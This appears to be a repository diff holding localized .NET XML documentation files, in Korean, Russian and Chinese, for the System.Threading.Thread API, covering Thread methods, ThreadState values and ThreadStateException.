<summary>표준 COM 및 SendMessage 펌프를 계속 수행하면서 스레드가 종료되거나 지정된 시간이 경과할 때까지 호출 스레드를 차단합니다.</summary>
<returns>스레드가 종료되면 true이고, false 매개 변수에서 지정한 기간이 경과된 후에도 스레드가 종료되지 않으면 <paramref name="millisecondsTimeout" />입니다.</returns>
<param name="millisecondsTimeout">스레드가 종료되기를 기다릴 밀리초 수입니다. </param>
<exception cref="T:System.ArgumentOutOfRangeException">The value of <paramref name="millisecondsTimeout" /> is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" /> in milliseconds. </exception>
<exception cref="T:System.Threading.ThreadStateException">The thread has not been started. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.ManagedThreadId">
<summary>현재 관리되는 스레드의 고유 식별자를 가져옵니다. </summary>
<returns>이 관리되는 스레드의 고유 식별자를 나타내는 정수입니다.</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.Name">
<summary>스레드의 이름을 가져오거나 설정합니다.</summary>
<returns>스레드의 이름을 포함하는 문자열이며 설정된 이름이 없으면 null입니다.</returns>
<exception cref="T:System.InvalidOperationException">A set operation was requested, but the Name property has already been set. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Sleep(System.Int32)">
<summary>지정된 시간(밀리초) 동안 현재 스레드를 일시 중단합니다.</summary>
<param name="millisecondsTimeout">스레드가 일시 중단되는 밀리초 수입니다.<paramref name="millisecondsTimeout" /> 인수의 값이 0이면 스레드는 실행할 준비가 된 우선 순위가 같은 스레드에 나머지 시간 간격을 내어 줍니다.실행할 준비가 된 우선 순위가 같은 스레드가 없으면 현재 스레드의 실행이 일시 중단되지 않습니다.</param>
<exception cref="T:System.ArgumentOutOfRangeException">The time-out value is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" />. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Sleep(System.TimeSpan)">
<summary>지정된 시간 동안 현재 스레드를 일시 중단합니다.</summary>
<param name="timeout">스레드가 일시 중단되는 시간입니다.<paramref name="millisecondsTimeout" /> 인수의 값이 <see cref="F:System.TimeSpan.Zero" />이면 스레드는 실행할 준비가 된 우선 순위가 같은 스레드에 나머지 시간 간격을 내어 줍니다.실행할 준비가 된 우선 순위가 같은 스레드가 없으면 현재 스레드의 실행이 일시 중단되지 않습니다.</param>
<exception cref="T:System.ArgumentOutOfRangeException">The value of <paramref name="timeout" /> is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" /> in milliseconds, or is greater than <see cref="F:System.Int32.MaxValue" /> milliseconds. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Start">
<summary>운영 체제에서 현재 인스턴스의 상태를 <see cref="F:System.Threading.ThreadState.Running" />으로 변경하도록 합니다.</summary>
<exception cref="T:System.Threading.ThreadStateException">The thread has already been started. </exception>
<exception cref="T:System.OutOfMemoryException">There is not enough memory available to start this thread. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Start(System.Object)">
<summary>운영 체제에서 현재 인스턴스의 상태를 <see cref="F:System.Threading.ThreadState.Running" />으로 변경하도록 하며 경우에 따라 스레드가 실행하는 메서드에 사용될 데이터가 포함된 개체를 제공합니다.</summary>
<param name="parameter">스레드가 실행하는 메서드에 사용될 데이터가 포함된 개체입니다.</param>
<exception cref="T:System.Threading.ThreadStateException">The thread has already been started. </exception>
<exception cref="T:System.OutOfMemoryException">There is not enough memory available to start this thread. </exception>
<exception cref="T:System.InvalidOperationException">This thread was created using a <see cref="T:System.Threading.ThreadStart" /> delegate instead of a <see cref="T:System.Threading.ParameterizedThreadStart" /> delegate.</exception>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.ThreadState">
<summary>현재 스레드의 상태를 포함하는 값을 가져옵니다.</summary>
<returns>현재 스레드의 상태를 나타내는 <see cref="T:System.Threading.ThreadState" /> 값 중 하나입니다.초기 값은 Unstarted입니다.</returns>
<filterpriority>2</filterpriority>
</member>
<member name="T:System.Threading.ThreadStart">
<summary>
<see cref="T:System.Threading.Thread" />에서 실행되는 메서드를 나타냅니다.</summary>
<filterpriority>1</filterpriority>
</member>
<member name="T:System.Threading.ThreadStartException">
<summary>내부 운영 체제 스레드가 사용자 코드를 실행할 수 없는 상태로 시작된 후 관리되는 스레드에서 실패가 발생한 경우에 throw되는 예외입니다.</summary>
</member>
<member name="T:System.Threading.ThreadState">
<summary>
<see cref="T:System.Threading.Thread" />의 실행 상태를 지정합니다.</summary>
<filterpriority>1</filterpriority>
</member>
<member name="F:System.Threading.ThreadState.Aborted">
<summary>스레드 상태에 <see cref="F:System.Threading.ThreadState.AbortRequested" />가 포함되어 있고 스레드가 작동하지 않지만 상태가 아직 <see cref="F:System.Threading.ThreadState.Stopped" />로 변경되지 않았습니다.</summary>
</member>
<member name="F:System.Threading.ThreadState.AbortRequested">
<summary>스레드에 <see cref="M:System.Threading.Thread.Abort(System.Object)" /> 메서드가 호출되었지만 해당 스레드는 자신을 종결시키려는 보류된 <see cref="T:System.Threading.ThreadAbortException" />을 받지 못했습니다.</summary>
</member>
<member name="F:System.Threading.ThreadState.Background">
<summary>해당 스레드는 전경 스레드와 반대인 배경 스레드로 실행됩니다.이 상태는 <see cref="P:System.Threading.Thread.IsBackground" /> 속성을 설정하여 제어합니다.</summary>
</member>
<member name="F:System.Threading.ThreadState.Running">
<summary>해당 스레드가 차단되지 않고 시작되었고 보류된 <see cref="T:System.Threading.ThreadAbortException" />이 없습니다.</summary>
</member>
<member name="F:System.Threading.ThreadState.Stopped">
<summary>스레드가 중지되었습니다.</summary>
</member>
<member name="F:System.Threading.ThreadState.StopRequested">
<summary>스레드를 중지하도록 요청했습니다.이는 내부 전용입니다.</summary>
</member>
<member name="F:System.Threading.ThreadState.Suspended">
<summary>스레드가 일시 중단되었습니다.</summary>
</member>
<member name="F:System.Threading.ThreadState.SuspendRequested">
<summary>스레드를 일시 중단하도록 요청하고 있습니다.</summary>
</member>
<member name="F:System.Threading.ThreadState.Unstarted">
<summary>스레드에 <see cref="M:System.Threading.Thread.Start" /> 메서드가 호출되지 않았습니다.</summary>
</member>
<member name="F:System.Threading.ThreadState.WaitSleepJoin">
<summary>스레드가 차단되었습니다.이는 <see cref="M:System.Threading.Thread.Sleep(System.Int32)" /> 또는 <see cref="M:System.Threading.Thread.Join" />을 호출하거나, <see cref="M:System.Threading.Monitor.Enter(System.Object)" /> 또는 <see cref="M:System.Threading.Monitor.Wait(System.Object,System.Int32,System.Boolean)" />를 호출하는 등의 방법으로 잠금을 요청하거나, <see cref="T:System.Threading.ManualResetEvent" />와 같은 스레드 동기화 개체를 기다리고 있는 경우 발생할 수 있습니다.</summary>
</member>
<member name="T:System.Threading.ThreadStateException">
<summary>
<see cref="T:System.Threading.Thread" />가 메서드 호출에 대한 잘못된 <see cref="P:System.Threading.Thread.ThreadState" />인 경우 throw되는 예외입니다.</summary>
<filterpriority>2</filterpriority>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor">
<summary>기본 속성을 사용하여 <see cref="T:System.Threading.ThreadStateException" /> 클래스의 새 인스턴스를 초기화합니다.</summary>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor(System.String)">
<summary>지정된 오류 메시지를 사용하여 <see cref="T:System.Threading.ThreadStateException" /> 클래스의 새 인스턴스를 초기화합니다.</summary>
<param name="message">예외에 대한 이유를 설명하는 오류 메시지입니다. </param>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor(System.String,System.Exception)">
<summary>지정된 오류 메시지와 해당 예외의 원인인 내부 예외에 대한 참조를 사용하여 <see cref="T:System.Threading.ThreadStateException" /> 클래스의 새 인스턴스를 초기화합니다.</summary>
<param name="message">예외에 대한 이유를 설명하는 오류 메시지입니다. </param>
<param name="innerException">현재 예외의 원인이 되는 예외입니다.<paramref name="innerException" /> 매개 변수가 null이 아니면 현재 예외는 내부 예외를 처리하는 catch 블록에서 발생합니다.</param>
</member>
</members>
</doc>

View File

@ -0,0 +1,157 @@
<?xml version="1.0" encoding="utf-8"?>
<doc>
<assembly>
<name>System.Threading.Thread</name>
</assembly>
<members>
<member name="T:System.Threading.ParameterizedThreadStart">
<summary>Представляет метод, выполняющийся в объекте <see cref="T:System.Threading.Thread" />.</summary>
<param name="obj">Объект, содержащий данные потоковой процедуры.</param>
<filterpriority>1</filterpriority>
</member>
<member name="T:System.Threading.Thread">
<summary>Создает и контролирует поток, задает приоритет и возвращает статус. Исходный код .NET Framework для этого типа см. в указанном источнике.</summary>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.#ctor(System.Threading.ParameterizedThreadStart)">
<summary>Инициализирует новый экземпляр класса <see cref="T:System.Threading.Thread" />, при этом указывается делегат, позволяющий объекту быть переданным в поток при запуске потока.</summary>
<param name="start">Делегат, указывающий на методы, которые вызываются при запуске потока. </param>
<exception cref="T:System.ArgumentNullException">
<paramref name="start" /> is null. </exception>
</member>
<member name="M:System.Threading.Thread.#ctor(System.Threading.ThreadStart)">
<summary>Инициализирует новый экземпляр класса <see cref="T:System.Threading.Thread" />.</summary>
<param name="start">Делегат <see cref="T:System.Threading.ThreadStart" />, указывающий на методы, которые вызываются при запуске потока. </param>
<exception cref="T:System.ArgumentNullException">The <paramref name="start" /> parameter is null. </exception>
</member>
<member name="P:System.Threading.Thread.CurrentThread">
<summary>Возвращает выполняющийся в данный момент поток.</summary>
<returns>Объект <see cref="T:System.Threading.Thread" />, представляющий собой выполняющийся в данный момент поток.</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.IsAlive">
<summary>Возвращает значение, показывающее статус выполнения текущего потока.</summary>
<returns>Значение true, если этот поток был запущен и не был завершен обычным образом либо был прерван; в противном случае — значение false.</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.IsBackground">
<summary>Возвращает или задает значение, показывающее, является ли поток фоновым.</summary>
<returns>Значение true, если этот поток является или станет фоновым потоком; в противном случае — значение false.</returns>
<exception cref="T:System.Threading.ThreadStateException">The thread is dead. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Join">
<summary>Блокирует вызывающий поток до завершения потока, продолжая отправлять стандартные сообщения COM и SendMessage.</summary>
<exception cref="T:System.Threading.ThreadStateException">The caller attempted to join a thread that is in the <see cref="F:System.Threading.ThreadState.Unstarted" /> state. </exception>
<exception cref="T:System.Threading.ThreadInterruptedException">The thread is interrupted while waiting. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Join(System.Int32)">
<summary>Блокирует вызывающий поток до завершения потока или истечения указанного времени, продолжая отправлять стандартные сообщения COM и SendMessage.</summary>
<returns>Значение true, если поток завершился; значение false, если поток не завершился по истечении количества времени, заданного параметром <paramref name="millisecondsTimeout" />.</returns>
<param name="millisecondsTimeout">Количество миллисекунд ожидания завершения потока. </param>
<exception cref="T:System.ArgumentOutOfRangeException">The value of <paramref name="millisecondsTimeout" /> is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" /> in milliseconds. </exception>
<exception cref="T:System.Threading.ThreadStateException">The thread has not been started. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.ManagedThreadId">
<summary>Возвращает уникальный идентификатор текущего управляемого потока. </summary>
<returns>Целочисленное значение, представляющее уникальный идентификатор для этого управляемого потока.</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.Name">
<summary>Получает или задает имя потока.</summary>
<returns>Строка, содержащая имя потока или null, если имя не задано.</returns>
<exception cref="T:System.InvalidOperationException">A set operation was requested, but the Name property has already been set. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Sleep(System.Int32)">
<summary>Приостанавливает текущий поток на заданное количество миллисекунд.</summary>
<param name="millisecondsTimeout">Количество миллисекунд, на которое приостанавливается поток.Если значение аргумента <paramref name="millisecondsTimeout" /> равно нулю, поток освобождает оставшуюся часть своего интервала времени для любого потока с таким же приоритетом, готовым к выполнению.Если других готовых к выполнению потоков с таким же приоритетом нет, выполнение текущего потока не приостанавливается.</param>
<exception cref="T:System.ArgumentOutOfRangeException">The time-out value is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" />. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Sleep(System.TimeSpan)">
<summary>Приостанавливает текущий поток на заданное время.</summary>
<param name="timeout">Время, на которое приостанавливается поток.Если значение аргумента <paramref name="millisecondsTimeout" /> равно <see cref="F:System.TimeSpan.Zero" />, поток освобождает оставшуюся часть своего интервала времени для любого потока с таким же приоритетом, готовым к выполнению.Если других готовых к выполнению потоков с таким же приоритетом нет, выполнение текущего потока не приостанавливается.</param>
<exception cref="T:System.ArgumentOutOfRangeException">The value of <paramref name="timeout" /> is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" /> in milliseconds, or is greater than <see cref="F:System.Int32.MaxValue" /> milliseconds. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Start">
<summary>Вынуждает операционную систему изменить состояние текущего экземпляра на <see cref="F:System.Threading.ThreadState.Running" />.</summary>
<exception cref="T:System.Threading.ThreadStateException">The thread has already been started. </exception>
<exception cref="T:System.OutOfMemoryException">There is not enough memory available to start this thread. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Start(System.Object)">
<summary>Заставляет операционную систему изменить состояние текущего экземпляра на <see cref="F:System.Threading.ThreadState.Running" />, а также (необязательно) передает объект с данными, используемыми методом в потоке.</summary>
<param name="parameter">Объект, содержащий данные, используемые методом, который выполняется потоком.</param>
<exception cref="T:System.Threading.ThreadStateException">The thread has already been started. </exception>
<exception cref="T:System.OutOfMemoryException">There is not enough memory available to start this thread. </exception>
<exception cref="T:System.InvalidOperationException">This thread was created using a <see cref="T:System.Threading.ThreadStart" /> delegate instead of a <see cref="T:System.Threading.ParameterizedThreadStart" /> delegate.</exception>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.ThreadState">
<summary>Возвращает значение, содержащее состояния текущего потока.</summary>
<returns>Одно из значений <see cref="T:System.Threading.ThreadState" />, показывающее состояние текущего потока.Начальное значение — Unstarted.</returns>
<filterpriority>2</filterpriority>
</member>
<member name="T:System.Threading.ThreadStart">
<summary>Представляет метод, выполняющийся в объекте <see cref="T:System.Threading.Thread" />.</summary>
<filterpriority>1</filterpriority>
</member>
<member name="T:System.Threading.ThreadStartException">
<summary>Исключение выдается, когда происходит сбой в управляемом потоке после запуска базового потока операционной системы, но до готовности потока к выполнению кода пользователя.</summary>
</member>
<member name="T:System.Threading.ThreadState">
<summary>Задает состояния выполнения объекта <see cref="T:System.Threading.Thread" />.</summary>
<filterpriority>1</filterpriority>
</member>
<member name="F:System.Threading.ThreadState.Aborted">
<summary>Состояние потока включает в себя значение <see cref="F:System.Threading.ThreadState.AbortRequested" />, и поток теперь не выполняет работу, но его состояние еще не изменилось на <see cref="F:System.Threading.ThreadState.Stopped" />.</summary>
</member>
<member name="F:System.Threading.ThreadState.AbortRequested">
<summary>Метод <see cref="M:System.Threading.Thread.Abort(System.Object)" /> был вызван для потока, но поток еще не получил исключение <see cref="T:System.Threading.ThreadAbortException" />, которое попытается завершить его.</summary>
</member>
<member name="F:System.Threading.ThreadState.Background">
<summary>Поток выполняется как фоновый поток, в противоположность потокам переднего плана.Это состояние управляется заданием свойства <see cref="P:System.Threading.Thread.IsBackground" />.</summary>
</member>
<member name="F:System.Threading.ThreadState.Running">
<summary>Поток был запущен, он не заблокирован, и нет ожидающего исключения <see cref="T:System.Threading.ThreadAbortException" />.</summary>
</member>
<member name="F:System.Threading.ThreadState.Stopped">
<summary>Поток был остановлен.</summary>
</member>
<member name="F:System.Threading.ThreadState.StopRequested">
<summary>Поток получает запрос на остановку.Предназначено только для внутреннего использования.</summary>
</member>
<member name="F:System.Threading.ThreadState.Suspended">
<summary>Поток был приостановлен.</summary>
</member>
<member name="F:System.Threading.ThreadState.SuspendRequested">
<summary>Запрашивается приостановка работы потока.</summary>
</member>
<member name="F:System.Threading.ThreadState.Unstarted">
<summary>Метод <see cref="M:System.Threading.Thread.Start" /> не был вызван для потока.</summary>
</member>
<member name="F:System.Threading.ThreadState.WaitSleepJoin">
<summary>Поток заблокирован.Это может произойти в результате вызова метода <see cref="M:System.Threading.Thread.Sleep(System.Int32)" /> или метода <see cref="M:System.Threading.Thread.Join" />, в результате запроса блокировки, например при вызове метода <see cref="M:System.Threading.Monitor.Enter(System.Object)" /> или <see cref="M:System.Threading.Monitor.Wait(System.Object,System.Int32,System.Boolean)" /> или в результате ожидания объекта синхронизации потока, такого как <see cref="T:System.Threading.ManualResetEvent" />.</summary>
</member>
<member name="T:System.Threading.ThreadStateException">
<summary>Исключение, которое выдается, когда объект <see cref="T:System.Threading.Thread" /> является неправильным свойством <see cref="P:System.Threading.Thread.ThreadState" /> для вызова метода.</summary>
<filterpriority>2</filterpriority>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor">
<summary>Инициализирует новый экземпляр класса <see cref="T:System.Threading.ThreadStateException" /> со свойствами по умолчанию.</summary>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor(System.String)">
<summary>Инициализирует новый экземпляр класса <see cref="T:System.Threading.ThreadStateException" /> с указанным сообщением об ошибке.</summary>
<param name="message">Сообщение об ошибке с объяснением причин исключения. </param>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor(System.String,System.Exception)">
<summary>Инициализирует новый экземпляр класса <see cref="T:System.Threading.ThreadStateException" /> указанным сообщением об ошибке и ссылкой на внутреннее исключение, которое стало причиной данного исключения.</summary>
<param name="message">Сообщение об ошибке с объяснением причин исключения. </param>
<param name="innerException">Исключение, которое вызвало текущее исключение.Если значение параметра <paramref name="innerException" /> не равно null, текущее исключение сгенерировано в блоке catch, обрабатывающем внутреннее исключение.</param>
</member>
</members>
</doc>

View File

@ -0,0 +1,158 @@
<?xml version="1.0" encoding="utf-8"?>
<doc>
<assembly>
<name>System.Threading.Thread</name>
</assembly>
<members>
<member name="T:System.Threading.ParameterizedThreadStart">
<summary>表示在 <see cref="T:System.Threading.Thread" /> 上执行的方法。</summary>
<param name="obj">包含该线程过程的数据的对象。</param>
<filterpriority>1</filterpriority>
</member>
<member name="T:System.Threading.Thread">
<summary>创建和控制线程,设置其优先级并获取其状态。若要浏览此类型的 .NET Framework 源代码,请参阅引用源。</summary>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.#ctor(System.Threading.ParameterizedThreadStart)">
<summary>初始化 <see cref="T:System.Threading.Thread" /> 类的新实例,指定允许对象在线程启动时传递给线程的委托。</summary>
<param name="start">一个委托,它表示此线程开始执行时要调用的方法。</param>
<exception cref="T:System.ArgumentNullException">
<paramref name="start" /> is null. </exception>
</member>
<member name="M:System.Threading.Thread.#ctor(System.Threading.ThreadStart)">
<summary>初始化 <see cref="T:System.Threading.Thread" /> 类的新实例。</summary>
<param name="start">表示开始执行此线程时要调用的方法的 <see cref="T:System.Threading.ThreadStart" /> 委托。</param>
<exception cref="T:System.ArgumentNullException">The <paramref name="start" /> parameter is null. </exception>
</member>
<member name="P:System.Threading.Thread.CurrentThread">
<summary>获取当前正在运行的线程。</summary>
<returns>
<see cref="T:System.Threading.Thread" />,表示当前正在运行的线程。</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.IsAlive">
<summary>获取指示当前线程的执行状态的值。</summary>
<returns>如果此线程已经开始但尚未正常终止或中止,则为 true否则为 false。</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.IsBackground">
<summary>获取或设置一个值,该值指示某个线程是否为后台线程。</summary>
<returns>如果此线程为或将成为后台线程,则为 true否则为 false。</returns>
<exception cref="T:System.Threading.ThreadStateException">The thread is dead. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Join">
<summary>阻止调用线程直到线程终止,同时继续执行标准的 COM 和 SendMessage 传送。</summary>
<exception cref="T:System.Threading.ThreadStateException">The caller attempted to join a thread that is in the <see cref="F:System.Threading.ThreadState.Unstarted" /> state. </exception>
<exception cref="T:System.Threading.ThreadInterruptedException">The thread is interrupted while waiting. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Join(System.Int32)">
<summary>在继续执行标准的 COM 和 SendMessage 消息泵处理期间,阻止调用线程,直到某个线程终止或经过了指定时间为止。</summary>
<returns>如果线程已终止,则为 true如果 false 参数指定的时间量已过之后还未终止线程,则为 <paramref name="millisecondsTimeout" /></returns>
<param name="millisecondsTimeout">等待线程终止的毫秒数。</param>
<exception cref="T:System.ArgumentOutOfRangeException">The value of <paramref name="millisecondsTimeout" /> is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" /> in milliseconds. </exception>
<exception cref="T:System.Threading.ThreadStateException">The thread has not been started. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.ManagedThreadId">
<summary>获取当前托管线程的唯一标识符。</summary>
<returns>一个整数,表示此托管线程的唯一标识符。</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.Name">
<summary>获取或设置线程的名称。</summary>
<returns>包含线程名称的字符串或 null如果未设置名称</returns>
<exception cref="T:System.InvalidOperationException">A set operation was requested, but the Name property has already been set. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Sleep(System.Int32)">
<summary>将当前线程挂起指定的毫秒数。</summary>
<param name="millisecondsTimeout">挂起线程的毫秒数。如果 <paramref name="millisecondsTimeout" /> 参数的值为零,则该线程会将其时间片的剩余部分让给任何已经准备好运行的、具有同等优先级的线程。如果没有其他已经准备好运行的、具有同等优先级的线程,则不会挂起当前线程的执行。</param>
<exception cref="T:System.ArgumentOutOfRangeException">The time-out value is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" />. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Sleep(System.TimeSpan)">
<summary>将当前线程挂起指定的时间。</summary>
<param name="timeout">挂起线程的时间量。如果 <paramref name="millisecondsTimeout" /> 参数的值为 <see cref="F:System.TimeSpan.Zero" />,则该线程会将其时间片的剩余部分让给任何已经准备好运行的、具有同等优先级的线程。如果没有其他已经准备好运行的、具有同等优先级的线程,则不会挂起当前线程的执行。</param>
<exception cref="T:System.ArgumentOutOfRangeException">The value of <paramref name="timeout" /> is negative and is not equal to <see cref="F:System.Threading.Timeout.Infinite" /> in milliseconds, or is greater than <see cref="F:System.Int32.MaxValue" /> milliseconds. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Start">
<summary>导致操作系统将当前实例的状态更改为 <see cref="F:System.Threading.ThreadState.Running" /></summary>
<exception cref="T:System.Threading.ThreadStateException">The thread has already been started. </exception>
<exception cref="T:System.OutOfMemoryException">There is not enough memory available to start this thread. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Start(System.Object)">
<summary>导致操作系统将当前实例的状态更改为 <see cref="F:System.Threading.ThreadState.Running" />,并选择提供包含线程执行的方法要使用的数据的对象。</summary>
<param name="parameter">一个对象,包含线程执行的方法要使用的数据。</param>
<exception cref="T:System.Threading.ThreadStateException">The thread has already been started. </exception>
<exception cref="T:System.OutOfMemoryException">There is not enough memory available to start this thread. </exception>
<exception cref="T:System.InvalidOperationException">This thread was created using a <see cref="T:System.Threading.ThreadStart" /> delegate instead of a <see cref="T:System.Threading.ParameterizedThreadStart" /> delegate.</exception>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.ThreadState">
<summary>获取一个值,该值包含当前线程的状态。</summary>
<returns>其中一个表示当前线程的状态的 <see cref="T:System.Threading.ThreadState" /> 值。初始值为 Unstarted。</returns>
<filterpriority>2</filterpriority>
</member>
<member name="T:System.Threading.ThreadStart">
<summary>表示在 <see cref="T:System.Threading.Thread" /> 上执行的方法。</summary>
<filterpriority>1</filterpriority>
</member>
<member name="T:System.Threading.ThreadStartException">
<summary>当基础操作系统线程已启动但该线程尚未准备好执行用户代码前,托管线程中出现错误,则会引发异常。</summary>
</member>
<member name="T:System.Threading.ThreadState">
<summary>指定 <see cref="T:System.Threading.Thread" /> 的执行状态。</summary>
<filterpriority>1</filterpriority>
</member>
<member name="F:System.Threading.ThreadState.Aborted">
<summary>线程状态包括 <see cref="F:System.Threading.ThreadState.AbortRequested" /> 并且该线程现在已死,但其状态尚未更改为 <see cref="F:System.Threading.ThreadState.Stopped" /></summary>
</member>
<member name="F:System.Threading.ThreadState.AbortRequested">
<summary>已对线程调用了 <see cref="M:System.Threading.Thread.Abort(System.Object)" /> 方法,但线程尚未收到试图终止它的挂起的 <see cref="T:System.Threading.ThreadAbortException" /></summary>
</member>
<member name="F:System.Threading.ThreadState.Background">
<summary>线程正作为后台线程执行(相对于前台线程而言)。此状态可以通过设置 <see cref="P:System.Threading.Thread.IsBackground" /> 属性来控制。</summary>
</member>
<member name="F:System.Threading.ThreadState.Running">
<summary>线程已启动,它未被阻塞,并且没有挂起的 <see cref="T:System.Threading.ThreadAbortException" /></summary>
</member>
<member name="F:System.Threading.ThreadState.Stopped">
<summary>线程已停止。</summary>
</member>
<member name="F:System.Threading.ThreadState.StopRequested">
<summary>正在请求线程停止。这仅用于内部。</summary>
</member>
<member name="F:System.Threading.ThreadState.Suspended">
<summary>线程已挂起。</summary>
</member>
<member name="F:System.Threading.ThreadState.SuspendRequested">
<summary>正在请求线程挂起。</summary>
</member>
<member name="F:System.Threading.ThreadState.Unstarted">
<summary>尚未对线程调用 <see cref="M:System.Threading.Thread.Start" /> 方法。</summary>
</member>
<member name="F:System.Threading.ThreadState.WaitSleepJoin">
<summary>线程已被阻止。这可能是因为:调用 <see cref="M:System.Threading.Thread.Sleep(System.Int32)" /><see cref="M:System.Threading.Thread.Join" />、请求锁定(例如通过调用 <see cref="M:System.Threading.Monitor.Enter(System.Object)" /><see cref="M:System.Threading.Monitor.Wait(System.Object,System.Int32,System.Boolean)" />)或等待线程同步对象(例如 <see cref="T:System.Threading.ManualResetEvent" />)。</summary>
</member>
<member name="T:System.Threading.ThreadStateException">
<summary><see cref="T:System.Threading.Thread" /> 处于对方法调用无效的 <see cref="P:System.Threading.Thread.ThreadState" /> 时引发的异常。</summary>
<filterpriority>2</filterpriority>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor">
<summary>使用默认属性初始化 <see cref="T:System.Threading.ThreadStateException" /> 类的新实例。</summary>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor(System.String)">
<summary>使用指定的错误消息初始化 <see cref="T:System.Threading.ThreadStateException" /> 类的新实例。</summary>
<param name="message">解释异常原因的错误信息。</param>
</member>
<member name="M:System.Threading.ThreadStateException.#ctor(System.String,System.Exception)">
<summary>使用指定错误信息和对作为此异常原因的内部异常的引用来初始化 <see cref="T:System.Threading.ThreadStateException" /> 类的新实例。</summary>
<param name="message">解释异常原因的错误信息。</param>
<param name="innerException">导致当前异常的异常。如果 <paramref name="innerException" /> 参数不为 null则当前异常将在处理内部异常的 catch 块中引发。</param>
</member>
</members>
</doc>

View File

@ -0,0 +1,161 @@
<?xml version="1.0" encoding="utf-8"?>
<doc>
<assembly>
<name>System.Threading.Thread</name>
</assembly>
<members>
<member name="T:System.Threading.ParameterizedThreadStart">
<summary>表示在 <see cref="T:System.Threading.Thread" /> 上執行的方法。</summary>
<param name="obj">物件,包含執行緒程序的資料。</param>
<filterpriority>1</filterpriority>
</member>
<member name="T:System.Threading.Thread">
<summary>可建立和控制執行緒,設定執行緒的優先權,並取得它的狀態。若要瀏覽此類型的 .NET Framework 原始程式碼,請參閱參考來源。</summary>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.#ctor(System.Threading.ParameterizedThreadStart)">
<summary>初始化 <see cref="T:System.Threading.Thread" /> 類別的新執行個體,並指定委派,讓物件可以在執行緒啟動時傳遞到執行緒。</summary>
<param name="start">委派,代表在這個執行緒開始執行時要叫用的方法。</param>
<exception cref="T:System.ArgumentNullException">
<paramref name="start" /> is null. </exception>
</member>
<member name="M:System.Threading.Thread.#ctor(System.Threading.ThreadStart)">
<summary>初始化 <see cref="T:System.Threading.Thread" /> 類別的新執行個體。</summary>
<param name="start">
<see cref="T:System.Threading.ThreadStart" /> 委派,代表在這個執行緒開始執行時要叫用的方法。</param>
<exception cref="T:System.ArgumentNullException">The <paramref name="start" /> parameter is null. </exception>
</member>
<member name="P:System.Threading.Thread.CurrentThread">
<summary>取得目前執行的執行緒。</summary>
<returns>
<see cref="T:System.Threading.Thread" />,是目前執行之執行緒的表示。</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.IsAlive">
<summary>取得值,指出目前執行緒的執行狀態。</summary>
<returns>如果這個執行緒已經啟動但還沒有正常終止或者中止,則為 true否則為 false。</returns>
<filterpriority>1</filterpriority>
</member>
<member name="P:System.Threading.Thread.IsBackground">
<summary>取得或設定值,指出執行緒是不是背景執行緒。</summary>
<returns>如果這個執行緒是背景執行緒或者會成為背景執行緒,則為 true否則為 false。</returns>
<exception cref="T:System.Threading.ThreadStateException">The thread is dead. </exception>
<filterpriority>1</filterpriority>
</member>
<member name="M:System.Threading.Thread.Join">
<summary>封鎖呼叫執行緒直到執行緒終止為止,但仍繼續執行標準的 COM 與 SendMessage 幫浦作業。</summary>
<exception cref="T:System.Threading.ThreadStateException">The caller attempted to join a thread that is in the <see cref="F:System.Threading.ThreadState.Unstarted" /> state. </exception>
